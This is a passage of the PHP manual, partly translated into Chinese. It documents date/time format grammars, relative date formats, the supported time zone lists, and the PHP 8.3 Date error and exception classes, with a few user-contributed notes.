DD | "0" [0-9] | [1-2][0-9] | "3" [01] | "02", "12", "31"
doy | "00"[1-9] | "0"[1-9][0-9] | [1-2][0-9][0-9] | "3"[0-5][0-9] | "36"[0-6] | "001", "012", "180", "350", "366"
frac | . [0-9]+ | ".21342", ".85"
hh | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH | [01][0-9] | "2"[0-4] | "04", "07", "19"
meridian | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
ii | [0-5]?[0-9] | "04", "8", "59"
II | [0-5][0-9] | "04", "08", "59"
M | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
MM | [0-1][0-9] | "00", "12"
space | [ \t] |
ss | ([0-5]?[0-9])|60 | "04", "8", "59", "60" (leap second)
SS | [0-5][0-9] | "04", "08", "59"
W | "0"[1-9] | [1-4][0-9] | "5"[0-3] | "05", "17", "53"
tzcorrection | "GMT"? [+-] hh ":"? II? | "+0400", "GMT-07:00", "-07:00"
YY | [0-9]{4} | "2000", "2008", "1978"
Standards Formats
Description | Examples
ATOM | "2022-06-02T16:58:35+00:00"
COOKIE | "Thursday, 02-Jun-2022 16:58:35 UTC"
ISO8601 | "2022-06-02T16:58:35+0000"
» RFC 822 | "Thu, 02 Jun 22 16:58:35 +0000"
» RFC 850 | "Thursday, 02-Jun-22 16:58:35 UTC"
» RFC 1036 | "Thu, 02 Jun 22 16:58:35 +0000"
» RFC 1123 | "Thu, 02 Jun 2022 16:58:35 +0000"
» RFC 2822 | "Thu, 02 Jun 2022 16:58:35 +0000"
» RFC 3339 | "2022-06-02T16:58:35+00:00"
» RFC 3339 Extended | "2022-06-02T16:58:35.698+00:00"
» RFC 7231 | "Thu, 02 Jun 2022 16:58:35 GMT"
RSS | "Thu, 02 Jun 2022 16:58:35 +0000"
W3C | "2022-06-02T16:58:35+00:00"
Localized Notations
Description | Format | Examples
Common Log Format | dd "/" M "/" YY : HH ":" II ":" SS space tzcorrection | "10/Oct/2000:13:55:36 -0700"
EXIF | YY ":" MM ":" DD " " HH ":" II ":" SS | "2008:08:07 18:11:31"
ISO year with ISO week | YY "-"? "W" W | "2008W27", "2008-W28"
ISO year with ISO week and day | YY "-"? "W" W "-"? [0-7] | "2008W273", "2008-W28-3"
MySQL | YY "-" MM "-" DD " " HH ":" II ":" SS | "2008-08-07 18:11:31"
PostgreSQL: Year with day-of-year | YY "."? doy | "2008.197", "2008197"
SOAP | YY "-" MM "-" DD "T" HH ":" II ":" SS frac tzcorrection? | "2008-07-01T22:35:17.02", "2008-07-01T22:35:17.03+08:00"
Unix Timestamp | "@" "-"? [0-9]+ | "@1215282385"
Unix Timestamp with microseconds | "@" "-"? [0-9]+ "." [0-9]{0,6} | "@1607974647.503686"
XMLRPC | YY MM DD "T" hh ":" II ":" SS | "20080701T22:38:07", "20080701T9:38:07"
XMLRPC (Compact) | YY MM DD 't' hh II SS | "20080701t223807", "20080701T093807"
WDDX | YY "-" mm "-" dd "T" hh ":" ii ":" ss | "2008-7-1T9:3:37"

Note:

The "W" in the "ISO year with ISO week" and "ISO year with ISO week and day" formats is case-sensitive, you can only use the upper case "W".

The "T" in the SOAP, XMLRPC and WDDX formats is case-sensitive, you can only use the upper case "T".

The "Unix Timestamp" format sets the timezone to UTC.

Relative Formats

This page describes the different relative date/time formats in a BNF-like
syntax, that the DateTimeImmutable,
DateTime, date_create(),
date_create_immutable(), and
strtotime() parser understands.

To format DateTimeImmutable and DateTime objects, please refer to the documentation of the DateTimeInterface::format() method.

Used Symbols
Description | Format
dayname | 'sunday' | 'monday' | 'tuesday' | 'wednesday' | 'thursday' | 'friday' | 'saturday' | 'sun' | 'mon' | 'tue' | 'wed' | 'thu' | 'fri' | 'sat'
daytext | 'weekday' | 'weekdays'
number | [+-]?[0-9]+
ordinal | 'first' | 'second' | 'third' | 'fourth' | 'fifth' | 'sixth' | 'seventh' | 'eighth' | 'ninth' | 'tenth' | 'eleventh' | 'twelfth' | 'next' | 'last' | 'previous' | 'this'
reltext | 'next' | 'last' | 'previous' | 'this'
space | [ \t]+
unit | 'ms' | 'μs' | (( 'msec' | 'millisecond' | 'μsec' | 'microsecond' | 'usec' | 'sec' | 'second' | 'min' | 'minute' | 'hour' | 'day' | 'fortnight' | 'forthnight' | 'month' | 'year') 's'?) | 'weeks' | daytext
Day-based Notations
Format | Description | Examples
'yesterday' | Midnight of yesterday | "yesterday 14:00"
'midnight' | The time is set to 00:00:00 |
'today' | The time is set to 00:00:00 |
'now' | Now - this is simply ignored |
'noon' | The time is set to 12:00:00 | "yesterday noon"
'tomorrow' | Midnight of tomorrow |
'back of' hour | 15 minutes past the specified hour | "back of 7pm", "back of 15"
'front of' hour | 15 minutes before the specified hour | "front of 5am", "front of 23"
'first day of' | Sets the day of the first of the current month. This phrase is usually best used together with a month name following it as it only effects the current month | "first day of January 2008"
'last day of' | Sets the day to the last day of the current month. This phrase is usually best used together with a month name following it as it only effects the current month | "last day of next month"
ordinal space dayname space 'of' | Calculates the x-th week day of the current month. | "first sat of July 2008"
'last' space dayname space 'of' | Calculates the last week day of the current month. | "last sat of July 2008"
number space? (unit | 'week') | Handles relative time items where the value is a number. | "+5 weeks", "12 day", "-7 weekdays"
(ordinal | reltext) space unit | Handles relative time items where the value is text. last and previous are equivalent to -1, this to nothing, and next to +1. | "fifth day", "second month", "last day", "previous year"
'ago' | Negates all the values of previously found relative time items. | "2 days ago", "8 days ago 14:00", "2 months 5 days ago", "2 months ago 5 days", "2 days ago"
dayname | Moves to the next day of this name. (See note) | "Monday"
reltext space 'week' | Handles the special format "weekday + last/this/next week". | "Monday next week"

Note:

Relative statements are always processed after non-relative statements. This makes "+1 week july 2008" and "july 2008 +1 week" equivalent.

Exceptions to this rule are: "yesterday", "midnight", "today", "noon" and "tomorrow". Note that "tomorrow 11:00" and "11:00 tomorrow" are different. Considering today's date of "July 23rd, 2008" the first one produces "2008-07-24 11:00" where as the second one produces "2008-07-24 00:00". The reason for this is that those five statements directly influence the current time.

Keywords such as "first day of" depend on the context in which the relative format string is used. If used with a static method or function, the referent is the current system timestamp. However, if used in DateTime::modify() or DateTimeImmutable::modify(), the referent is the object on which the modify() method is called.

Note:

Observe the following remarks when the current day-of-week is the same as the day-of-week used in the date/time string. The current day-of-week could have been (re-)calculated by non-relative parts of the date/time string however.

  1. "dayname" does not advance to another day. (Example: "Wed July 23rd, 2008" means "2008-07-23").
  2. "number dayname" does not advance to another day. (Example: "1 wednesday july 23rd, 2008" means "2008-07-23").
  3. "number week dayname" will first add the number of weeks, but does not advance to another day. In this case "number week" and "dayname" are two distinct blocks. (Example: "+1 week wednesday july 23rd, 2008" means "2008-07-30").
  4. "ordinal dayname" does advance to another day. (Example "first wednesday july 23rd, 2008" means "2008-07-30").
  5. "number week ordinal dayname" will first add the number of weeks, and then advances to another day. In this case "number week" and "ordinal dayname" are two distinct blocks. (Example: "+1 week first wednesday july 23rd, 2008" means "2008-08-06").
  6. "ordinal dayname 'of' " does not advance to another day. (Example: "first wednesday of july 23rd, 2008" means "2008-07-02" because the specific phrase with 'of' resets the day-of-month to '1' and the '23rd' is ignored here).

Also observe that the "of" in "ordinal space dayname space 'of' " and "'last' space dayname space 'of' " does something special.

  1. It sets the day-of-month to 1.
  2. "ordinal dayname 'of' " does not advance to another day. (Example: "first tuesday of july 2008" means "2008-07-01").
  3. "ordinal dayname " does advance to another day. (Example: "first tuesday july 2008" means "2008-07-08", see also point 4 in the list above).
  4. "'last' dayname 'of' " takes the last dayname of the current month. (Example: "last wed of july 2008" means "2008-07-30")
  5. "'last' dayname" takes the last dayname from the current day. (Example: "last wed july 2008" means "2008-06-25"; "july 2008" first sets the current date to "2008-07-01" and then "last wed" moves to the previous Wednesday which is "2008-06-25").

Note:

Relative month values are calculated based on the length of months that they pass through. An example would be "+2 month 2011-11-30", which would produce "2012-01-30". This is due to November being 30 days in length, and December being 31 days in length, producing a total of 61 days.

Note:

number is an integer number; if a decimal number is given, the dot (or comma) is likely interpreted as delimiter. For instance, '+1.5 hours' is parsed like '+1 5 hours', not as '+1 hour +30 minutes'.

更新日志

版本 | 说明
8.2.0 | number no longer accepts multiple signs, e.g. +-2.
7.0.8 | Weeks always start on monday. Formerly, sunday would also be considered to start a week.

User Contributed Notes

There are no user contributed notes for this page.


所支持的时区列表

Table of Contents

  • 非洲
  • 美洲
  • 南极洲
  • 北极
  • 亚洲
  • 大西洋
  • 澳洲
  • 欧洲
  • 印度
  • 太平洋地区
  • 其他

在这你可找到 PHP 所支持的所有时区的列表，可用于诸如 date_default_timezone_set() 等函数。

Caution

这里没有列出的时区是未定义的。

Note: 最新版的时区数据库可从 PECL 的 » timezonedb 进行安装。

Note: 基于时区数据库版本的列表 2023.3.

User Contributed Notes

info at scheduleplus dot xyz 14-Aug-2023 03:32
Complete list here

https://raw.githubusercontent.com/leon-do/Timezones/main/timezone.json
Manu 21-Jun-2023 01:38
The list of valid timezones is available as DateTimeZone::listIdentifiers (https://www.php.net/manual/en/datetimezone.listidentifiers.php)


非洲

非洲
Africa/Abidjan | Africa/Accra | Africa/Addis_Ababa | Africa/Algiers
Africa/Asmara | Africa/Bamako | Africa/Bangui | Africa/Banjul
Africa/Bissau | Africa/Blantyre | Africa/Brazzaville | Africa/Bujumbura
Africa/Cairo | Africa/Casablanca | Africa/Ceuta | Africa/Conakry
Africa/Dakar | Africa/Dar_es_Salaam | Africa/Djibouti | Africa/Douala
Africa/El_Aaiun | Africa/Freetown | Africa/Gaborone | Africa/Harare
Africa/Johannesburg | Africa/Juba | Africa/Kampala | Africa/Khartoum
Africa/Kigali | Africa/Kinshasa | Africa/Lagos | Africa/Libreville
Africa/Lome | Africa/Luanda | Africa/Lubumbashi | Africa/Lusaka
Africa/Malabo | Africa/Maputo | Africa/Maseru | Africa/Mbabane
Africa/Mogadishu | Africa/Monrovia | Africa/Nairobi | Africa/Ndjamena
Africa/Niamey | Africa/Nouakchott | Africa/Ouagadougou | Africa/Porto-Novo
Africa/Sao_Tome | Africa/Tripoli | Africa/Tunis | Africa/Windhoek

User Contributed Notes

There are no user contributed notes for this page.


美洲

美洲
America/Adak | America/Anchorage | America/Anguilla | America/Antigua
America/Araguaina | America/Argentina/Buenos_Aires | America/Argentina/Catamarca | America/Argentina/Cordoba
America/Argentina/Jujuy | America/Argentina/La_Rioja | America/Argentina/Mendoza | America/Argentina/Rio_Gallegos
America/Argentina/Salta | America/Argentina/San_Juan | America/Argentina/San_Luis | America/Argentina/Tucuman
America/Argentina/Ushuaia | America/Aruba | America/Asuncion | America/Atikokan
America/Bahia | America/Bahia_Banderas | America/Barbados | America/Belem
America/Belize | America/Blanc-Sablon | America/Boa_Vista | America/Bogota
America/Boise | America/Cambridge_Bay | America/Campo_Grande | America/Cancun
America/Caracas | America/Cayenne | America/Cayman | America/Chicago
America/Chihuahua | America/Ciudad_Juarez | America/Costa_Rica | America/Creston
America/Cuiaba | America/Curacao | America/Danmarkshavn | America/Dawson
America/Dawson_Creek | America/Denver | America/Detroit | America/Dominica
America/Edmonton | America/Eirunepe | America/El_Salvador | America/Fort_Nelson
America/Fortaleza | America/Glace_Bay | America/Goose_Bay | America/Grand_Turk
America/Grenada | America/Guadeloupe | America/Guatemala | America/Guayaquil
America/Guyana | America/Halifax | America/Havana | America/Hermosillo
America/Indiana/Indianapolis | America/Indiana/Knox | America/Indiana/Marengo | America/Indiana/Petersburg
America/Indiana/Tell_City | America/Indiana/Vevay | America/Indiana/Vincennes | America/Indiana/Winamac
America/Inuvik | America/Iqaluit | America/Jamaica | America/Juneau
America/Kentucky/Louisville | America/Kentucky/Monticello | America/Kralendijk | America/La_Paz
America/Lima | America/Los_Angeles | America/Lower_Princes | America/Maceio
America/Managua | America/Manaus | America/Marigot | America/Martinique
America/Matamoros | America/Mazatlan | America/Menominee | America/Merida
America/Metlakatla | America/Mexico_City | America/Miquelon | America/Moncton
America/Monterrey | America/Montevideo | America/Montserrat | America/Nassau
America/New_York | America/Nome | America/Noronha | America/North_Dakota/Beulah
America/North_Dakota/Center | America/North_Dakota/New_Salem | America/Nuuk | America/Ojinaga
America/Panama | America/Paramaribo | America/Phoenix | America/Port-au-Prince
America/Port_of_Spain | America/Porto_Velho | America/Puerto_Rico | America/Punta_Arenas
America/Rankin_Inlet | America/Recife | America/Regina | America/Resolute
America/Rio_Branco | America/Santarem | America/Santiago | America/Santo_Domingo
America/Sao_Paulo | America/Scoresbysund | America/Sitka | America/St_Barthelemy
America/St_Johns | America/St_Kitts | America/St_Lucia | America/St_Thomas
America/St_Vincent | America/Swift_Current | America/Tegucigalpa | America/Thule
America/Tijuana | America/Toronto | America/Tortola | America/Vancouver
America/Whitehorse | America/Winnipeg | America/Yakutat |

User Contributed Notes

There are no user contributed notes for this page.


南极洲

南极洲
Antarctica/Casey | Antarctica/Davis | Antarctica/DumontDUrville | Antarctica/Macquarie
Antarctica/Mawson | Antarctica/McMurdo | Antarctica/Palmer | Antarctica/Rothera
Antarctica/Syowa | Antarctica/Troll | Antarctica/Vostok |

User Contributed Notes

There are no user contributed notes for this page.


北极

北极
Arctic/Longyearbyen

User Contributed Notes

There are no user contributed notes for this page.


亚洲

亚洲
Asia/Aden | Asia/Almaty | Asia/Amman | Asia/Anadyr
Asia/Aqtau | Asia/Aqtobe | Asia/Ashgabat | Asia/Atyrau
Asia/Baghdad | Asia/Bahrain | Asia/Baku | Asia/Bangkok
Asia/Barnaul | Asia/Beirut | Asia/Bishkek | Asia/Brunei
Asia/Chita | Asia/Choibalsan | Asia/Colombo | Asia/Damascus
Asia/Dhaka | Asia/Dili | Asia/Dubai | Asia/Dushanbe
Asia/Famagusta | Asia/Gaza | Asia/Hebron | Asia/Ho_Chi_Minh
Asia/Hong_Kong | Asia/Hovd | Asia/Irkutsk | Asia/Jakarta
Asia/Jayapura | Asia/Jerusalem | Asia/Kabul | Asia/Kamchatka
Asia/Karachi | Asia/Kathmandu | Asia/Khandyga | Asia/Kolkata
Asia/Krasnoyarsk | Asia/Kuala_Lumpur | Asia/Kuching | Asia/Kuwait
Asia/Macau | Asia/Magadan | Asia/Makassar | Asia/Manila
Asia/Muscat | Asia/Nicosia | Asia/Novokuznetsk | Asia/Novosibirsk
Asia/Omsk | Asia/Oral | Asia/Phnom_Penh | Asia/Pontianak
Asia/Pyongyang | Asia/Qatar | Asia/Qostanay | Asia/Qyzylorda
Asia/Riyadh | Asia/Sakhalin | Asia/Samarkand | Asia/Seoul
Asia/Shanghai | Asia/Singapore | Asia/Srednekolymsk | Asia/Taipei
Asia/Tashkent | Asia/Tbilisi | Asia/Tehran | Asia/Thimphu
Asia/Tokyo | Asia/Tomsk | Asia/Ulaanbaatar | Asia/Urumqi
Asia/Ust-Nera | Asia/Vientiane | Asia/Vladivostok | Asia/Yakutsk
Asia/Yangon | Asia/Yekaterinburg | Asia/Yerevan |

User Contributed Notes

There are no user contributed notes for this page.


大西洋

大西洋
Atlantic/Azores | Atlantic/Bermuda | Atlantic/Canary | Atlantic/Cape_Verde
Atlantic/Faroe | Atlantic/Madeira | Atlantic/Reykjavik | Atlantic/South_Georgia
Atlantic/St_Helena | Atlantic/Stanley |  |

User Contributed Notes

There are no user contributed notes for this page.


澳洲

澳洲
Australia/Adelaide | Australia/Brisbane | Australia/Broken_Hill | Australia/Darwin
Australia/Eucla | Australia/Hobart | Australia/Lindeman | Australia/Lord_Howe
Australia/Melbourne | Australia/Perth | Australia/Sydney |

User Contributed Notes

There are no user contributed notes for this page.


欧洲

欧洲
Europe/Amsterdam | Europe/Andorra | Europe/Astrakhan | Europe/Athens
Europe/Belgrade | Europe/Berlin | Europe/Bratislava | Europe/Brussels
Europe/Bucharest | Europe/Budapest | Europe/Busingen | Europe/Chisinau
Europe/Copenhagen | Europe/Dublin | Europe/Gibraltar | Europe/Guernsey
Europe/Helsinki | Europe/Isle_of_Man | Europe/Istanbul | Europe/Jersey
Europe/Kaliningrad | Europe/Kirov | Europe/Kyiv | Europe/Lisbon
Europe/Ljubljana | Europe/London | Europe/Luxembourg | Europe/Madrid
Europe/Malta | Europe/Mariehamn | Europe/Minsk | Europe/Monaco
Europe/Moscow | Europe/Oslo | Europe/Paris | Europe/Podgorica
Europe/Prague | Europe/Riga | Europe/Rome | Europe/Samara
Europe/San_Marino | Europe/Sarajevo | Europe/Saratov | Europe/Simferopol
Europe/Skopje | Europe/Sofia | Europe/Stockholm | Europe/Tallinn
Europe/Tirane | Europe/Ulyanovsk | Europe/Vaduz | Europe/Vatican
Europe/Vienna | Europe/Vilnius | Europe/Volgograd | Europe/Warsaw
Europe/Zagreb | Europe/Zurich |  |

User Contributed Notes

garcol 10-Nov-2023 11:51
'Europe/London' != 'UTC'

Because of the UK had between 1969-1971 GMT+1 leads the use of London timezone to an additional hour inbetween UNIX timestamp.

'Europe/London' = BST (British Standard Time)
'UTC' = GMT


印度

印度
Indian/Antananarivo | Indian/Chagos | Indian/Christmas | Indian/Cocos
Indian/Comoro | Indian/Kerguelen | Indian/Mahe | Indian/Maldives
Indian/Mauritius | Indian/Mayotte | Indian/Reunion |

User Contributed Notes

There are no user contributed notes for this page.


太平洋地区

太平洋地区
Pacific/Apia | Pacific/Auckland | Pacific/Bougainville | Pacific/Chatham
Pacific/Chuuk | Pacific/Easter | Pacific/Efate | Pacific/Fakaofo
Pacific/Fiji | Pacific/Funafuti | Pacific/Galapagos | Pacific/Gambier
Pacific/Guadalcanal | Pacific/Guam | Pacific/Honolulu | Pacific/Kanton
Pacific/Kiritimati | Pacific/Kosrae | Pacific/Kwajalein | Pacific/Majuro
Pacific/Marquesas | Pacific/Midway | Pacific/Nauru | Pacific/Niue
Pacific/Norfolk | Pacific/Noumea | Pacific/Pago_Pago | Pacific/Palau
Pacific/Pitcairn | Pacific/Pohnpei | Pacific/Port_Moresby | Pacific/Rarotonga
Pacific/Saipan | Pacific/Tahiti | Pacific/Tarawa | Pacific/Tongatapu
Pacific/Wake | Pacific/Wallis |  |

User Contributed Notes

There are no user contributed notes for this page.


其他

Warning

在此请不要使用任何时区列表（除 UTC 外），仅用于向后兼容，可能会引起某些错误行为。此外，这些时区可能随时会从 IANA 时区数据库中移除。

Warning

If you disregard the above warning, please also note that the IANA timezone database that provides PHP's timezone support uses POSIX style signs, which results in the Etc/GMT+n and Etc/GMT-n time zones being reversed from common usage.

For example, the time zone 8 hours ahead of GMT that is used in China and Western Australia (among other places) is actually Etc/GMT-8 in this database, not Etc/GMT+8 as you would normally expect.

Once again, it is strongly recommended that you use the correct time zone for your location, such as Asia/Shanghai or Australia/Perth for the above examples.

其他
Africa/Asmera | Africa/Timbuktu | America/Argentina/ComodRivadavia | America/Atka
America/Buenos_Aires | America/Catamarca | America/Coral_Harbour | America/Cordoba
America/Ensenada | America/Fort_Wayne | America/Godthab | America/Indianapolis
America/Jujuy | America/Knox_IN | America/Louisville | America/Mendoza
America/Montreal | America/Nipigon | America/Pangnirtung | America/Porto_Acre
America/Rainy_River | America/Rosario | America/Santa_Isabel | America/Shiprock
America/Thunder_Bay | America/Virgin | America/Yellowknife | Antarctica/South_Pole
Asia/Ashkhabad | Asia/Calcutta | Asia/Chongqing | Asia/Chungking
Asia/Dacca | Asia/Harbin | Asia/Istanbul | Asia/Kashgar
Asia/Katmandu | Asia/Macao | Asia/Rangoon | Asia/Saigon
Asia/Tel_Aviv | Asia/Thimbu | Asia/Ujung_Pandang | Asia/Ulan_Bator
Atlantic/Faeroe | Atlantic/Jan_Mayen | Australia/ACT | Australia/Canberra
Australia/Currie | Australia/LHI | Australia/North | Australia/NSW
Australia/Queensland | Australia/South | Australia/Tasmania | Australia/Victoria
Australia/West | Australia/Yancowinna | Brazil/Acre | Brazil/DeNoronha
Brazil/East | Brazil/West | Canada/Atlantic | Canada/Central
Canada/Eastern | Canada/Mountain | Canada/Newfoundland | Canada/Pacific
Canada/Saskatchewan | Canada/Yukon | CET | Chile/Continental
Chile/EasterIsland | CST6CDT | Cuba | EET
Egypt | Eire | EST | EST5EDT
Etc/GMT | Etc/GMT+0 | Etc/GMT+1 | Etc/GMT+10
Etc/GMT+11 | Etc/GMT+12 | Etc/GMT+2 | Etc/GMT+3
Etc/GMT+4 | Etc/GMT+5 | Etc/GMT+6 | Etc/GMT+7
Etc/GMT+8 | Etc/GMT+9 | Etc/GMT-0 | Etc/GMT-1
Etc/GMT-10 | Etc/GMT-11 | Etc/GMT-12 | Etc/GMT-13
Etc/GMT-14 | Etc/GMT-2 | Etc/GMT-3 | Etc/GMT-4
Etc/GMT-5 | Etc/GMT-6 | Etc/GMT-7 | Etc/GMT-8
Etc/GMT-9 | Etc/GMT0 | Etc/Greenwich | Etc/UCT
Etc/Universal | Etc/UTC | Etc/Zulu | Europe/Belfast
Europe/Kiev | Europe/Nicosia | Europe/Tiraspol | Europe/Uzhgorod
Europe/Zaporozhye | Factory | GB | GB-Eire
GMT | GMT+0 | GMT-0 | GMT0
Greenwich | Hongkong | HST | Iceland
Iran | Israel | Jamaica | Japan
Kwajalein | Libya | MET | Mexico/BajaNorte
Mexico/BajaSur | Mexico/General | MST | MST7MDT
Navajo | NZ | NZ-CHAT | Pacific/Enderbury
Pacific/Johnston | Pacific/Ponape | Pacific/Samoa | Pacific/Truk
Pacific/Yap | Poland | Portugal | PRC
PST8PDT | ROC | ROK | Singapore
Turkey | UCT | Universal | US/Alaska
US/Aleutian | US/Arizona | US/Central | US/East-Indiana
US/Eastern | US/Hawaii | US/Indiana-Starke | US/Michigan
US/Mountain | US/Pacific | US/Samoa | UTC
W-SU | WET | Zulu |

User Contributed Notes

There are no user contributed notes for this page.


The DateError class

(PHP 8 >= 8.3.0)

简介

Thrown when the timezone database is not found, or contains invalid data.

This error should never occur, and is not dependent on code. There are two child-exceptions (DateObjectError and DateRangeError) which are thrown depending on programmer error or range related issues.

类摘要

class DateError extends Error {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

参见

  • DateObjectError
  • DateRangeError

User Contributed Notes

There are no user contributed notes for this page.


The DateObjectError class

(PHP 8 >= 8.3.0)

简介

Thrown when one of the Date/Time classes has not been correctly initialised.

Because Date/Time classes are not final, these classes can be inherit. When the parent constructor is not called, this error is thrown. This is always a programming error.

类摘要

class DateObjectError extends DateError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

参见

  • DateError
  • DateRangeError

User Contributed Notes

There are no user contributed notes for this page.


The DateRangeError class

(PHP 8 >= 8.3.0)

简介

Thrown by DateTime::getTimestamp(), DateTimeImmutable::getTimestamp(), and date_timestamp_get(), on 32-bit platforms if the date object represents a date outside of the 32-bit signed range.

类摘要

class DateRangeError extends DateError {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

参见

  • DateError
  • DateObjectError

User Contributed Notes

There are no user contributed notes for this page.


The DateException class

(PHP 8 >= 8.3.0)

简介

Parent class of Date/Time exceptions, for issues that come to light due to user input, or free form text arguments that need to be parsed.

The following child exceptions are thrown by the extension:

  • DateInvalidOperationException
  • DateInvalidTimezoneException
  • DateMalformedIntervalStringException
  • DateMalformedPeriodStringException
  • DateMalformedStringException

类摘要

class DateException extends Exception {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateInvalidOperationException class

(PHP 8 >= 8.3.0)

简介

Thrown by DateTimeImmutable::sub() and DateTime::sub() when an unsupported operation is attempted.

An example of such an unsupported operation is using a DateInterval object representing relative time specifications such as next weekday, as no logical reversed statement can be constructed.

类摘要

class DateInvalidOperationException extends DateException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateInvalidTimeZoneException class

(PHP 8 >= 8.3.0)

简介

Thrown when an incorrect value is passed to DateTimeZone::__construct().

类摘要

class DateInvalidTimeZoneException extends DateException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateMalformedIntervalStringException class

(PHP 8 >= 8.3.0)

简介

Thrown when an invalid duration argument is passed to DateInterval::__construct().

类摘要

class DateMalformedIntervalStringException extends DateException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateMalformedPeriodStringException class

(PHP 8 >= 8.3.0)

简介

Thrown when an invalid isostr argument is passed to DatePeriod::__construct().

类摘要

class DateMalformedPeriodStringException extends DateException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


The DateMalformedStringException class

(PHP 8 >= 8.3.0)

简介

Thrown when an invalid Date/Time string is detected.

This can be as value to
DateTimeImmutable::__construct(),
DateTimeImmutable::modify(),
DateTime::__construct(), or
DateTime::modify().

类摘要

class DateMalformedStringException extends DateException {
/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


High resolution timing

  • 简介
  • 安装/配置
    • 安装
  • 示例
    • Basic usage
  • HRTime\PerformanceCounter — The HRTime\PerformanceCounter class
    • HRTime\PerformanceCounter::getFrequency — Timer frequency in ticks per second
    • HRTime\PerformanceCounter::getTicks — Current ticks from the system
    • HRTime\PerformanceCounter::getTicksSince — Ticks elapsed since the given value
  • HRTime\StopWatch — The HRTime\StopWatch class
    • HRTime\StopWatch::getElapsedTicks — Get elapsed ticks for all intervals
    • HRTime\StopWatch::getElapsedTime — Get elapsed time for all intervals
    • HRTime\StopWatch::getLastElapsedTicks — Get elapsed ticks for the last interval
    • HRTime\StopWatch::getLastElapsedTime — Get elapsed time for the last interval
    • HRTime\StopWatch::isRunning — 确认测量是否在运行
    • HRTime\StopWatch::start — Start time measurement
    • HRTime\StopWatch::stop — Stop time measurement
  • HRTime\Unit — The HRTime\Unit class

User Contributed Notes

There are no user contributed notes for this page.


